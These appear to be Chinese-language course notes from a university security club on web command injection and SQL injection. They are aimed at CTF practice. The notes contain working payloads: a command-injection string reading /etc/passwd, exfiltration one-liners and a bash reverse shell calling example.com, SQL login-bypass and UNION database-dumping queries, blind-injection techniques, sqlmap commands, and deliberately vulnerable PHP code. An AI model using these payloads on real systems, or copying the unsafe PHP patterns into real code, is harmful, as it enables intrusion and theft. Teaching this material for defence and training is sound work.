# NCTU CSC 109A - Web II [TOC] ## Injection 成因:程式將使用者輸入直接插入即將拿去執行的字串內,沒有過濾或過濾不周到。 ## Command Injection 使用者可控制的字串被拿去插在「指令」裡面。 ```php <?php $ip = @$_POST['ip']; $cmd = "ping -c1 -t1 '$ip'"; system($cmd); ``` 此時可以將 ip 填成 `127.0.0.1'; cat '/etc/passwd`,讓 `system()` 執行你的第二個指令。 ### 檢測方法 ``` ;id ;id; &&id||z: ;id # &&id # ||id # $(sleep 5) '$(sleep 5)' "$(sleep 5)" ... ``` 空白繞過 ``` ${IFS} %09 ``` ### 若指令結果不顯示怎麼辦 回傳資料的各種方式: - 用自己的 server 接(你要有 public ip) - curl + HTTP log ```bash # example.com sudo tail -f /var/log/apache2/access.log # remote curl "example.com?$(cat /flag)" ``` - curl + nc ```bash # example.com nc -lk 10000 # remote curl example.com -d "$(cat /etc/passwd)" ``` - bash + nc ```bash # example.com nc -lk 9999 # remote bash -c 'cat /flag > /dev/tcp/example.com/9999' ``` - 沒有 public ip - 用 ngrok tunnel - Reverse Shell - `bash -c 'bash -i >& /dev/tcp/example.com/8989 0>&1'` - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md - requestbin - http://requestbin.net/ - dnsbin - http://requestbin.net/dns ## SQL Injection 使用者可控制的字串被拿去插在「SQL 語句裡面」裡面: ### 如何用 SQL 對資料庫作查詢 假設有個叫 `mysite` 的資料庫有一個資料表叫 `users`: | id (int) | name (str) | password (str) | data (str) | | -- | -- | -- | -- | | 1 | admin | secret | hello world | | 2 | user1 | user1 | hello kitty | | ... | ... | ... | ... | 我可以用以下 SQL statement 確認是否要使用者登入: ```sql SELECT id, data FROM `mysite`.`users` WHERE name = 'admin' AND password = 'secret'; ``` 如果 `name` 和 `password` 都符合就會回傳 `id=1, data="hello world"`,後端程式可以藉此判斷是否要給該使用者登入。 密碼要記得存 hash 不要存明文: | id (int) | name (str) | <b style="color: red">password_hash (str)</b> | data (str) | | -- | -- | -- | -- | | 1 | admin | <b style="color: red">03f061054488882d1065409b3e3f3ff8</b> | hello world | | 2 | user1 | <b style="color: red">eb4810a8cc14421bc59ebc371f0849a4</b> | hello kitty | | ... | ... | ... | ... | ```php <?php $name = $_POST['name']; $hash = md5('(@^_^@)' . $_POST['password'] . '(@^_^@)'); $sql = ( "SELECT name,data FROM users " "WHERE name='$name' AND password='$hash'" ); $db = new SQLite3('db.sqlite3'); $result = $db->query($sql)->fetcharray(); if ($result) { $_SESSION['name'] = $result['name']; $_SESSION['data'] = $result['data']; // 登入成功 } ``` ### 問題 此時程式直接將 `$_POST['name']` 塞入 SQL query,所以可以插入任意字串。 如以下去 POST 將可以登入為 admin: ``` name=' OR name = 'admin' -- &password=123 ``` 因為整句 SQL 被改成: ```sql SELECT id,data FROM users WHERE name='' OR name = 'admin' -- ' AND password='8c5e708ca718cd1a8101fd3bf89b8eee' ``` 所以 `$result` 會選到 admin 那個 row,最後會被登入成 admin。 ### UNION SELECT 除了選到想要的 row 也可以將 id, data 改成我們想到的任意資料。 POST 以下 body 即可: ``` name=' UNION SELECT 'hello','world'; -- &password=123 ``` SQL 被改成以下: ```sql SELECT id,data FROM users WHERE name = '' UNION SELECT 'hello','world'; -- ' AND password='8c5e708ca718cd1a8101fd3bf89b8eee' ``` 此時資料庫會回傳 `name="hello" data="world"`。 注意 column 數要一樣多,不然會錯。 假設選出的 data 會顯示在網頁,我們可以把整個資料庫都挖出來: ```sql SELECT id,data FROM users WHERE name = '' UNION SELECT 'admin',group_concat(sql) FROM sqlite_master; -- ... SELECT id,data FROM users WHERE name = '' UNION SELECT 'admin',group_concat(col1 || '|' || col2 || '|' || col3) FROM table1; -- ... ``` ### Boolean-Based 如果 SQL query 結果沒有回傳怎麼辦? 如果你有辦法判斷有沒有選到 row(例如有選到和沒選到的網頁看起來不一樣),就可以用 boolean-base sql injection。 ``` SELECT 1 FROM secret WHERE SUBSTR(flag, 1, 1) > 'a'; ``` 寫個程式不停做 request,進行二分搜就可以洗出 flag。 ### Time-Based 如果 boolean based 的方法不能光看網頁得知條件是否成立,可以用「延遲」來判斷。如何做到延遲? ``` SELECT 1 WHERE (SUBSTR(flag, 1, 1) > 'a') OR 0 = RANDOMBLOB(1000000000); ``` 如果 `SUBSTR(flag, 1, 1) > 'a'` 不成立,會延遲大約 2 秒。 ### sqlmap ``` sqlmap -u http://example.com/?id=123 --random-agent sqlmap -u http://example.com/?id=123 --random-agent --dbs sqlmap -u http://example.com/?id=123 --random-agent --D db1 --tables sqlmap -u http://example.com/?id=123 --random-agent --D db1 -T table1 --columns sqlmap -u http://example.com/?id=123 --random-agent --sql-shell ```